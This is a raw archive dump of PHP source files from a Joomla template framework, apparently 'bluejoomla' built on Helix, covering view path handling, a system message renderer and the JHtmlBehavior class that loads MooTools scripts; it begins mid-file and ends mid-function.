			throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500);
		}
	}

	/**
	 * Load a helper file
	 *
	 * @param   string  $hlp  The name of the helper source file automatically searches the helper paths and compiles as needed.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	public function loadHelper($hlp = null)
	{
		// Clean the file name
		$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $hlp);

		// Load the template script
		jimport('joomla.filesystem.path');
		$helper = JPath::find($this->_path['helper'], $this->_createFileName('helper', array('name' => $file)));

		if ($helper != false)
		{
			// Include the requested template filename in the local scope
			include_once $helper;
		}
	}

	/**
	 * Sets an entire array of search paths for templates or resources.
	 *
	 * @param   string  $type  The type of path to set, typically 'template'.
	 * @param   mixed   $path  The new search path, or an array of search paths.  If null or false, resets to the current directory only.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	protected function _setPath($type, $path)
	{
		$component = JApplicationHelper::getComponentName();
		$app = JFactory::getApplication();

		// Clear out the prior search dirs
		$this->_path[$type] = array();

		// Actually add the user-specified directories
		$this->_addPath($type, $path);

		// Always add the fallback directories as last resort
		switch (strtolower($type))
		{
			case 'template':
				// Set the alternative template search dir
				if (isset($app))
				{
					$component = preg_replace('/[^A-Z0-9_\.-]/i', '', $component);
					$fallback = JPATH_THEMES . '/' . $app->getTemplate() . '/html/' . $component . '/' . $this->getName();
					
					$this->_addPath('template', Helix::frameworkPath().'/html/' . $component . '/' . $this->getName());
					$this->_addPath('template', $fallback);
				}
				break;
		}
	}

	/**
	 * Adds to the search path for templates and resources.
	 *
	 * @param   string  $type  The type of path to add.
	 * @param   mixed   $path  The directory or stream, or an array of either, to search.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	protected function _addPath($type, $path)
	{
		// Just force to array
		settype($path, 'array');

		// Loop through the path directories
		foreach ($path as $dir)
		{
			// No surrounding spaces allowed!
			$dir = trim($dir);

			// Add trailing separators as needed
			if (substr($dir, -1) != DIRECTORY_SEPARATOR)
			{
				// Directory
				$dir .= DIRECTORY_SEPARATOR;
			}

			// Add to the top of the search dirs
			array_unshift($this->_path[$type], $dir);
		}
	}

	/**
	 * Create the filename for a resource
	 *
	 * @param   string  $type   The resource type to create the filename for
	 * @param   array   $parts  An associative array of filename information
	 *
	 * @return  string  The filename
	 *
	 * @since   12.2
	 */
	protected function _createFileName($type, $parts = array())
	{
		$filename = '';

		switch ($type)
		{
			case 'template':
				$filename = strtolower($parts['name']) . '.' . $this->_layoutExt;
				break;

			default:
				$filename = strtolower($parts['name']) . '.php';
				break;
		}
		return $filename;
	}
}
PK!�#o,,"bluejoomla/core/classes/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��i��,bluejoomla/core/classes/joomla25/message.phpnu&1i�<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Document
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * JDocument system message renderer
 *
 * @package     Joomla.Platform
 * @subpackage  Document
 * @since       11.1
 */
class JDocumentRendererMessage extends JDocumentRenderer
{
	/**
	 * Renders the error stack and returns the results as a string
	 *
	 * @param   string  $name     Not used.
	 * @param   array   $params   Associative array of values
	 * @param   string  $content  Not used.
	 *
	 * @return  string  The output of the script
	 *
	 * @since   11.1
	 */
	public function render($name, $params = array (), $content = null)
	{
		$msgList = $this->getData();
		$buffer = null;
		$app = JFactory::getApplication();
		$chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/message.php';
		$itemOverride = false;

		if (file_exists($chromePath))
		{
			include_once $chromePath;
			if (function_exists('renderMessage'))
			{
				$itemOverride = true;
			}
		}

		$buffer = ($itemOverride) ? renderMessage($msgList) : $this->renderDefaultMessage($msgList);

		return $buffer;
	}

	/**
	 * Get and prepare system message data for output
	 *
	 * @return  array  An array contains system message
	 *
	 * @since   12.2
	 */
	private function getData()
	{
		// Initialise variables.
		$lists = array();

		// Get the message queue
		$messages = JFactory::getApplication()->getMessageQueue();

		// Build the sorted message list
		if (is_array($messages) && !empty($messages))
		{
			foreach ($messages as $msg)
			{
				if (isset($msg['type']) && isset($msg['message']))
				{
					$lists[$msg['type']][] = $msg['message'];
				}
			}
		}

		return $lists;
	}

	/**
	 * Render the system message if no message template file found
	 *
	 * @param   array  $msgList  An array contains system message
	 *
	 * @return  string  System message markup
	 *
	 * @since   12.2
	 */
	private function renderDefaultMessage($msgList)
	{
		// Build the return string
		$buffer = '';
		$buffer .= "\n<div id=\"system-message-container\">";

		// If messages exist render them
		if (is_array($msgList))
		{
			$buffer .= "\n<div id=\"system-message\">";
			foreach ($msgList as $type => $msgs)
			{
				$buffer .= "\n<div class=\"alert alert-" . $type . "\">";

				// This requires JS so we should add it trough JS. Progressive enhancement and stuff.
				$buffer .= "<a class=\"close\" data-dismiss=\"alert\">×</a>";

				if (count($msgs))
				{
					$buffer .= "\n<h4 class=\"alert-heading\">" . JText::_($type) . "</h4>";
					$buffer .= "\n<div>";
					foreach ($msgs as $msg)
					{
						$buffer .= "\n\t\t<p>" . $msg . "</p>";
					}
					$buffer .= "\n</div>";
				}
				$buffer .= "\n</div>";
			}
			$buffer .= "\n</div>";
		}

		$buffer .= "\n</div>";

		return $buffer;
	}
}PK!�=���{�{-bluejoomla/core/classes/joomla25/behavior.phpnu&1i�<?php
/**
 * @package     Joomla.Platform
 * @subpackage  HTML
 *
 * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Utility class for javascript behaviors
 *
 * @package     Joomla.Platform
 * @subpackage  HTML
 * @since       11.1
 */
abstract class JHtmlBehavior
{
	/**
	 * @var   array   array containing information for loaded files
	 */
	protected static $loaded = array();

	/**
	 * Method to load the MooTools framework into the document head
	 *
	 * If debugging mode is on an uncompressed version of MooTools is included for easier debugging.
	 *
	 * @param   string   $extras  MooTools file to load
	 * @param   boolean  $debug   Is debugging mode on? [optional]
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function framework($extras = false, $debug = null)
	{
		$type = $extras ? 'more' : 'core';

		// Only load once
		if (!empty(self::$loaded[__METHOD__][$type]))
		{
			return;
		}

		// If no debugging value is set, use the configuration setting
		if ($debug === null)
		{
			$config = JFactory::getConfig();
			$debug = $config->get('debug');
		}

		if ($type != 'core' && empty(self::$loaded[__METHOD__]['core']))
		{
			self::framework(false, $debug);
		}

		JHtml::_('script', 'system/mootools-' . $type . '.js', false, true, false, false, $debug);
		JHtml::_('script', 'system/core.js', false, true);
		self::$loaded[__METHOD__][$type] = true;

		return;
	}

	/**
	 * Deprecated. Use JHtmlBehavior::framework() instead.
	 *
	 * @param   boolean  $debug  Is debugging mode on? [optional]
	 *
	 * @return  void
	 *
	 * @since   11.1
	 *
	 * @deprecated    12.1
	 */
	public static function mootools($debug = null)
	{
		// Deprecation warning.
		JLog::add('JBehavior::mootools is deprecated.', JLog::WARNING, 'deprecated');

		self::framework(true, $debug);
	}

	/**
	 * Add unobtrusive javascript support for image captions.
	 *
	 * @param   string  $selector  The selector for which a caption behaviour is to be applied.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function caption($selector = 'img.caption')
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/caption.js', true, true);

		// Attach caption to document
		JFactory::getDocument()->addScriptDeclaration(
			"window.addEvent('load', function() {
				new JCaption('" . $selector . "');
			});"
		);

		// Set static array
		self::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add unobtrusive javascript support for form validation.
	 *
	 * To enable form validation the form tag must have class="form-validate".
	 * Each field that needs to be validated needs to have class="validate".
	 * Additional handlers can be added to the handler for username, password,
	 * numeric and email. To use these add class="validate-email" and so on.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function formvalidation()
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/validate.js', true, true);
		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Add unobtrusive javascript support for submenu switcher support in
	 * Global Configuration and System Information.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function switcher()
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/switcher.js', true, true);

		$script = "
			document.switcher = null;
			window.addEvent('domready', function(){
				toggler = document.id('submenu');
				element = document.id('config-document');
				if (element) {
					document.switcher = new JSwitcher(toggler, element, {cookieName: toggler.getProperty('class')});
				}
			});";

		JFactory::getDocument()->addScriptDeclaration($script);
		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Add unobtrusive javascript support for a combobox effect.
	 *
	 * Note that this control is only reliable in absolutely positioned elements.
	 * Avoid using a combobox in a slider or dynamic pane.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function combobox()
	{
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}
		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/combobox.js', true, true);
		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Add unobtrusive javascript support for a hover tooltips.
	 *
	 * Add a title attribute to any element in the form
	 * title="title::text"
	 *
	 *
	 * Uses the core Tips class in MooTools.
	 *
	 * @param   string  $selector  The class selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                             - maxTitleChars  integer   The maximum number of characters in the tooltip title (defaults to 50).
	 *                             - offsets        object    The distance of your tooltip from the mouse (defaults to {'x': 16, 'y': 16}).
	 *                             - showDelay      integer   The millisecond delay the show event is fired (defaults to 100).
	 *                             - hideDelay      integer   The millisecond delay the hide hide is fired (defaults to 100).
	 *                             - className      string    The className your tooltip container will get.
	 *                             - fixed          boolean   If set to true, the toolTip will not follow the mouse.
	 *                             - onShow         function  The default function for the show event, passes the tip element
	 *                               and the currently hovered element.
	 *                             - onHide         function  The default function for the hide event, passes the currently
	 *                               hovered element.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function tooltip($selector = '.hasTip', $params = array())
	{

		return;
	}

	/**
	 * Add unobtrusive javascript support for modal links.
	 *
	 * @param   string  $selector  The selector for which a modal behaviour is to be applied.
	 * @param   array   $params    An array of parameters for the modal behaviour.
	 *                             Options for the modal behaviour can be:
	 *                            - ajaxOptions
	 *                            - size
	 *                            - shadow
	 *                            - overlay
	 *                            - onOpen
	 *                            - onClose
	 *                            - onUpdate
	 *                            - onResize
	 *                            - onShow
	 *                            - onHide
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function modal($selector = 'a.modal', $params = array())
	{
		$document = JFactory::getDocument();

		// Load the necessary files if they haven't yet been loaded
		if (!isset(self::$loaded[__METHOD__]))
		{
			// Include MooTools framework
			self::framework();

			// Load the javascript and css
			JHtml::_('script', 'system/modal.js', true, true);
			JHtml::_('stylesheet', 'system/modal.css', array(), true);
		}

		$sig = md5(serialize(array($selector, $params)));
		if (isset(self::$loaded[__METHOD__][$sig]))
		{
			return;
		}

		// Setup options object
		$opt['ajaxOptions']		= (isset($params['ajaxOptions']) && (is_array($params['ajaxOptions']))) ? $params['ajaxOptions'] : null;
		$opt['handler']			= (isset($params['handler'])) ? $params['handler'] : null;
		$opt['fullScreen']		= (isset($params['fullScreen'])) ? (bool) $params['fullScreen'] : null;
		$opt['parseSecure']		= (isset($params['parseSecure'])) ? (bool) $params['parseSecure'] : null;
		$opt['closable']		= (isset($params['closable'])) ? (bool) $params['closable'] : null;
		$opt['closeBtn']		= (isset($params['closeBtn'])) ? (bool) $params['closeBtn'] : null;
		$opt['iframePreload']	= (isset($params['iframePreload'])) ? (bool) $params['iframePreload'] : null;
		$opt['iframeOptions']	= (isset($params['iframeOptions']) && (is_array($params['iframeOptions']))) ? $params['iframeOptions'] : null;
		$opt['size']			= (isset($params['size']) && (is_array($params['size']))) ? $params['size'] : null;
		$opt['shadow']			= (isset($params['shadow'])) ? $params['shadow'] : null;
		$opt['overlay']			= (isset($params['overlay'])) ? $params['overlay'] : null;
		$opt['onOpen']			= (isset($params['onOpen'])) ? $params['onOpen'] : null;
		$opt['onClose']			= (isset($params['onClose'])) ? $params['onClose'] : null;
		$opt['onUpdate']		= (isset($params['onUpdate'])) ? $params['onUpdate'] : null;
		$opt['onResize']		= (isset($params['onResize'])) ? $params['onResize'] : null;
		$opt['onMove']			= (isset($params['onMove'])) ? $params['onMove'] : null;
		$opt['onShow']			= (isset($params['onShow'])) ? $params['onShow'] : null;
		$opt['onHide']			= (isset($params['onHide'])) ? $params['onHide'] : null;

		$options = JHtmlBehavior::_getJSObject($opt);

		// Attach modal behavior to document
		$document
			->addScriptDeclaration(
			"
		window.addEvent('domready', function() {

			SqueezeBox.initialize(" . $options . ");
			SqueezeBox.assign($$('" . $selector . "'), {
				parse: 'rel'
			});
		});"
		);

		// Set static array
		self::$loaded[__METHOD__][$sig] = true;

		return;
	}

	/**
	 * JavaScript behavior to allow shift select in grids
	 *
	 * @param   string  $id  The id of the form for which a multiselect behaviour is to be applied.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function multiselect($id = 'adminForm')
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__][$id]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/multiselect.js', true, true);

		// Attach multiselect to document
		JFactory::getDocument()->addScriptDeclaration(
			"window.addEvent('domready', function() {
				new Joomla.JMultiSelect('" . $id . "');
			});"
		);

		// Set static array
		self::$loaded[__METHOD__][$id] = true;
		return;
	}

	/**
	 * Add unobtrusive javascript support for the advanced uploader.
	 *
	 * @param   string  $id            An index.
	 * @param   array   $params        An array of options for the uploader.
	 * @param   string  $upload_queue  The HTML id of the upload queue element (??).
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function uploader($id = 'file-upload', $params = array(), $upload_queue = 'upload-queue')
	{
		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/swf.js', true, true);
		JHtml::_('script', 'system/progressbar.js', true, true);
		JHtml::_('script', 'system/uploader.js', true, true);

		$document = JFactory::getDocument();

		if (!isset(self::$loaded[__METHOD__]))
		{
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR');
			JText::script('JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES');
		}

		if (isset(self::$loaded[__METHOD__][$id]))
		{
			return;
		}

		$onFileSuccess = '\\function(file, response) {
			var json = new Hash(JSON.decode(response, true) || {});

			if (json.get(\'status\') == \'1\') {
				file.element.addClass(\'file-success\');
				file.info.set(\'html\', \'<strong>\' + Joomla.JText._(\'JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED\') + \'</strong>\');
			} else {
				file.element.addClass(\'file-failed\');
				file.info.set(\'html\', \'<strong>\' +
					Joomla.JText._(\'JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED\',
						\'An Error Occurred\').substitute({ error: json.get(\'error\') }) + \'</strong>\');
			}
		}';

		// Setup options object
		$opt['verbose']			= true;
		$opt['url']				= (isset($params['targetURL'])) ? $params['targetURL'] : null;
		$opt['path']			= (isset($params['swf'])) ? $params['swf'] : JURI::root(true) . '/media/system/swf/uploader.swf';
		$opt['height']			= (isset($params['height'])) && $params['height'] ? (int) $params['height'] : null;
		$opt['width']			= (isset($params['width'])) && $params['width'] ? (int) $params['width'] : null;
		$opt['multiple']		= (isset($params['multiple']) && !($params['multiple'])) ? false : true;
		$opt['queued']			= (isset($params['queued']) && !($params['queued'])) ? (int) $params['queued'] : null;
		$opt['target']			= (isset($params['target'])) ? $params['target'] : '\\document.id(\'upload-browse\')';
		$opt['instantStart']	= (isset($params['instantStart']) && ($params['instantStart'])) ? true : false;
		$opt['allowDuplicates']	= (isset($params['allowDuplicates']) && !($params['allowDuplicates'])) ? false : true;
		// limitSize is the old parameter name.  Remove in 1.7
		$opt['fileSizeMax']		= (isset($params['limitSize']) && ($params['limitSize'])) ? (int) $params['limitSize'] : null;
		// fileSizeMax is the new name.  If supplied, it will override the old value specified for limitSize
		$opt['fileSizeMax']		= (isset($params['fileSizeMax']) && ($params['fileSizeMax'])) ? (int) $params['fileSizeMax'] : $opt['fileSizeMax'];
		$opt['fileSizeMin']		= (isset($params['fileSizeMin']) && ($params['fileSizeMin'])) ? (int) $params['fileSizeMin'] : null;
		// limitFiles is the old parameter name.  Remove in 1.7
		$opt['fileListMax']		= (isset($params['limitFiles']) && ($params['limitFiles'])) ? (int) $params['limitFiles'] : null;
		// fileListMax is the new name.  If supplied, it will override the old value specified for limitFiles
		$opt['fileListMax']		= (isset($params['fileListMax']) && ($params['fileListMax'])) ? (int) $params['fileListMax'] : $opt['fileListMax'];
		$opt['fileListSizeMax'] = (isset($params['fileListSizeMax']) && ($params['fileListSizeMax'])) ? (int) $params['fileListSizeMax'] : null;
		// types is the old parameter name.  Remove in 1.7
		$opt['typeFilter']		= (isset($params['types'])) ? '\\' . $params['types']
		: '\\{Joomla.JText._(\'JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES\'): \'*.*\'}';
		$opt['typeFilter']		= (isset($params['typeFilter'])) ? '\\' . $params['typeFilter'] : $opt['typeFilter'];

		// Optional functions
		$opt['createReplacement']	= (isset($params['createReplacement'])) ? '\\' . $params['createReplacement'] : null;
		$opt['onFileComplete']		= (isset($params['onFileComplete'])) ? '\\' . $params['onFileComplete'] : null;
		$opt['onBeforeStart']		= (isset($params['onBeforeStart'])) ? '\\' . $params['onBeforeStart'] : null;
		$opt['onStart']				= (isset($params['onStart'])) ? '\\' . $params['onStart'] : null;
		$opt['onComplete']			= (isset($params['onComplete'])) ? '\\' . $params['onComplete'] : null;
		$opt['onFileSuccess']		= (isset($params['onFileSuccess'])) ? '\\' . $params['onFileSuccess'] : $onFileSuccess;

		if (!isset($params['startButton']))
		{
			$params['startButton'] = 'upload-start';
		}

		if (!isset($params['clearButton']))
		{
			$params['clearButton'] = 'upload-clear';
		}

		$opt['onLoad'] = '\\function() {
				document.id(\'' . $id
			. '\').removeClass(\'hide\'); // we show the actual UI
				document.id(\'upload-noflash\').destroy(); // ... and hide the plain form

				// We relay the interactions with the overlayed flash to the link
				this.target.addEvents({
					click: function() {
						return false;
					},
					mouseenter: function() {
						this.addClass(\'hover\');
					},
					mouseleave: function() {
						this.removeClass(\'hover\');
						this.blur();
					},
					mousedown: function() {
						this.focus();
					}
				});

				// Interactions for the 2 other buttons

				document.id(\'' . $params['clearButton']
			. '\').addEvent(\'click\', function() {
					Uploader.remove(); // remove all files
					return false;
				});

				document.id(\'' . $params['startButton']
			. '\').addEvent(\'click\', function() {
					Uploader.start(); // start upload
					return false;
				});
			}';

		$options = JHtmlBehavior::_getJSObject($opt);

		// Attach tooltips to document
		$uploaderInit = 'window.addEvent(\'domready\', function(){
				var Uploader = new FancyUpload2(document.id(\'' . $id . '\'), document.id(\'' . $upload_queue . '\'), ' . $options . ' );
				});';
		$document->addScriptDeclaration($uploaderInit);

		// Set static array
		self::$loaded[__METHOD__][$id] = true;

		return;
	}

	/**
	 * Add unobtrusive javascript support for a collapsible tree.
	 *
	 * @param   string  $id      An index
	 * @param   array   $params  An array of options.
	 * @param   array   $root    The root node
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function tree($id, $params = array(), $root = array())
	{
		// Include MooTools framework
		self::framework();

		JHtml::_('script', 'system/mootree.js', true, true, false, false);
		JHtml::_('stylesheet', 'system/mootree.css', array(), true);

		if (isset(self::$loaded[__METHOD__][$id]))
		{
			return;
		}

		// Setup options object
		$opt['div']		= (array_key_exists('div', $params)) ? $params['div'] : $id . '_tree';
		$opt['mode']	= (array_key_exists('mode', $params)) ? $params['mode'] : 'folders';
		$opt['grid']	= (array_key_exists('grid', $params)) ? '\\' . $params['grid'] : true;
		$opt['theme']	= (array_key_exists('theme', $params)) ? $params['theme'] : JHtml::_('image', 'system/mootree.gif', '', array(), true, true);

		// Event handlers
		$opt['onExpand']	= (array_key_exists('onExpand', $params)) ? '\\' . $params['onExpand'] : null;
		$opt['onSelect']	= (array_key_exists('onSelect', $params)) ? '\\' . $params['onSelect'] : null;
		$opt['onClick']		= (array_key_exists('onClick', $params)) ? '\\' . $params['onClick']
		: '\\function(node){  window.open(node.data.url, node.data.target != null ? node.data.target : \'_self\'); }';

		$options = JHtmlBehavior::_getJSObject($opt);

		// Setup root node
		$rt['text']		= (array_key_exists('text', $root)) ? $root['text'] : 'Root';
		$rt['id']		= (array_key_exists('id', $root)) ? $root['id'] : null;
		$rt['color']	= (array_key_exists('color', $root)) ? $root['color'] : null;
		$rt['open']		= (array_key_exists('open', $root)) ? '\\' . $root['open'] : true;
		$rt['icon']		= (array_key_exists('icon', $root)) ? $root['icon'] : null;
		$rt['openicon']	= (array_key_exists('openicon', $root)) ? $root['openicon'] : null;
		$rt['data']		= (array_key_exists('data', $root)) ? $root['data'] : null;
		$rootNode = JHtmlBehavior::_getJSObject($rt);

		$treeName = (array_key_exists('treeName', $params)) ? $params['treeName'] : '';

		$js = '		window.addEvent(\'domready\', function(){
			tree' . $treeName . ' = new MooTreeControl(' . $options . ',' . $rootNode . ');
			tree' . $treeName . '.adopt(\'' . $id . '\');})';

		// Attach tooltips to document
		$document = JFactory::getDocument();
		$document->addScriptDeclaration($js);

		// Set static array
		self::$loaded[__METHOD__][$id] = true;

		return;
	}

	/**
	 * Add unobtrusive javascript support for a calendar control.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function calendar()
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		$document = JFactory::getDocument();
		$tag = JFactory::getLanguage()->getTag();

		JHtml::_('stylesheet', 'system/calendar-jos.css', array(' title' => JText::_('JLIB_HTML_BEHAVIOR_GREEN'), ' media' => 'all'), true);
		JHtml::_('script', $tag . '/calendar.js', false, true);
		JHtml::_('script', $tag . '/calendar-setup.js', false, true);

		$translation = JHtmlBehavior::_calendartranslation();
		if ($translation)
		{
			$document->addScriptDeclaration($translation);
		}
		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Add unobtrusive javascript support for a color picker.
	 *
	 * @return  void
	 *
	 * @since   11.2
	 */
	public static function colorpicker()
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		// Include MooTools framework
		self::framework(true);

		JHtml::_('stylesheet', 'system/mooRainbow.css', array('media' => 'all'), true);
		JHtml::_('script', 'system/mooRainbow.js', false, true);

		JFactory::getDocument()
			->addScriptDeclaration(
			"window.addEvent('domready', function(){
				var nativeColorUi = false;
				if (Browser.opera && (Browser.version >= 11.5)) {
					nativeColorUi = true;
				}
				$$('.input-colorpicker').each(function(item){
					if (nativeColorUi) {
						item.type = 'color';
					} else {
						new MooRainbow(item, {
							id: item.id,
							imgPath: '" . JURI::root(true) . "/media/system/images/mooRainbow/',
							onComplete: function(color) {
								this.element.value = color.hex;
							},
							startColor: item.value.hexToRgb(true) ? item.value.hexToRgb(true) : [0, 0, 0]
						});
					}
				});
			});
		");

		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Keep session alive, for example, while editing or creating an article.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function keepalive()
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		$config = JFactory::getConfig();
		$lifetime = ($config->get('lifetime') * 60000);
		$refreshTime = ($lifetime <= 60000) ? 30000 : $lifetime - 60000;
		// Refresh time is 1 minute less than the liftime assined in the configuration.php file.

		// the longest refresh period is one hour to prevent integer overflow.
		if ($refreshTime > 3600000 || $refreshTime <= 0)
		{
			$refreshTime = 3600000;
		}

		$document = JFactory::getDocument();
		$script = '';
		$script .= 'function keepAlive() {';
		$script .= '	var myAjax = new Request({method: "get", url: "index.php"}).send();';
		$script .= '}';
		$script .= ' window.addEvent("domready", function()';
		$script .= '{ keepAlive.periodical(' . $refreshTime . '); }';
		$script .= ');';

		$document->addScriptDeclaration($script);
		self::$loaded[__METHOD__] = true;

		return;
	}

	/**
	 * Highlight some words via Javascript.
	 *
	 * @param   array   $terms      Array of words that should be highlighted.
	 * @param   string  $start      ID of the element that marks the begin of the section in which words
	 *                              should be highlighted. Note this element will be removed from the DOM.
	 * @param   string  $end        ID of the element that end this section.
	 *                              Note this element will be removed from the DOM.
	 * @param   string  $className  Class name of the element highlights are wrapped in.
	 * @param   string  $tag        Tag that will be used to wrap the highlighted words.
	 *
	 * @return  void
	 *
	 * @since   11.4
	 */
	public static function highlighter(array $terms, $start = 'highlighter-start', $end = 'highlighter-end', $className = 'highlight', $tag = 'span')
	{
		$sig = md5(serialize(array($terms, $start, $end)));
		if (isset(self::$loaded[__METHOD__][$sig]))
		{
			return;
		}

		JHtml::_('script', 'system/highlighter.js', true, true);

		$terms = str_replace('"', '\"', $terms);

		$document = JFactory::getDocument();
		$document->addScriptDeclaration("
			window.addEvent('domready', function () {
				var start = document.id('" . $start . "');
				var end = document.id('" . $end . "');
				if (!start || !end || !Joomla.Highlighter) {
					return true;
				}
				highlighter = new Joomla.Highlighter({
					startElement: start,
					endElement: end,
					className: '" . $className . "',
					onlyWords: false,
					tag: '" . $tag . "'
				}).highlight([\"" . implode('","', $terms) . "\"]);
				start.dispose();
				end.dispose();
			});
		");

		self::$loaded[__METHOD__][$sig] = true;

		return;
	}

	/**
	 * Break us out of any containing iframes
	 *
	 * @param   string  $location  Location to display in
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public static function noframes($location = 'top.location.href')
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__]))
		{
			return;
		}

		// Include MooTools framework
		self::framework();

		$js = "window.addEvent('domready', function () {if (top == self) {document.documentElement.style.display = 'block'; }" .
			" else {top.location = self.location; }});";
		$document = JFactory::getDocument();
		$document->addStyleDeclaration('html { display:none }');
		$document->addScriptDeclaration($js);

		JResponse::setHeader('X-Frames-Options', 'SAME-ORIGIN');

		self::$loaded[__METHOD__] = true;
	}

	/**
	 * Internal method to get a JavaScript object notation string from an array
	 *
	 * @param   array  $array  The array to convert to JavaScript object notation
	 *
	 * @return  string  JavaScript object notation representation of the array
	 *
	 * @since   11.1
	 */
	protected static function _getJSObject($array = array())
	{
		// Initialise variables.
		$object = '{';

		// Iterate over array to build objects
		foreach ((array) $array as $k => $v)
		{
			if (is_null($v))
			{
				continue;
			}

			if (is_bool($v))
			{
				if ($k === 'fullScreen')
				{
					$object .= 'size: { ';
					$object .= 'x: ';
					$object .= 'window.getSize().x-80';
					$object .= ',';
					$object .= 'y: ';
					$object .= 'window.getSize().y-80';
					$object .= ' }';
					$object .= ',';
				}
				else
				{
					$object .= ' ' . $k . ': ';
					$object .= ($v) ? 'true' : 'false';
					$object .= ',';
				}
			}
			elseif (!is_array($v) && !is_object($v))
			{
				$object .= ' ' . $k . ': ';
				$object .= (is_numeric($v) || strpos($v, '\\') === 0) ? (is_numeric($v)) ? $v : substr($v, 1) : "'" . $v . "'";
				$object .= ',';
			}
			else
			{
				$object .= ' ' . $k . ': ' . JHtmlBehavior::_getJSObject($v) . ',';
			}
		}

		if (substr($object, -1) == ',')
		{
			$object = substr($object, 0, -1);
		}

		$object .= '}';

		return $object;
	}

	/**
	 * Internal method to translate the JavaScript Calendar
	 *
	 * @return  string  JavaScript that translates the object
	 *
	 * @since   11.1
	 */
	protected static function _calendartranslation()
	{
		static $jsscript = 0;

		if ($jsscript == 0)
		{
			$return = 'Calendar._DN = new Array ("' . JText::_('SUNDAY', true) . '", "' . JText::_('MONDAY', true) . '", "'
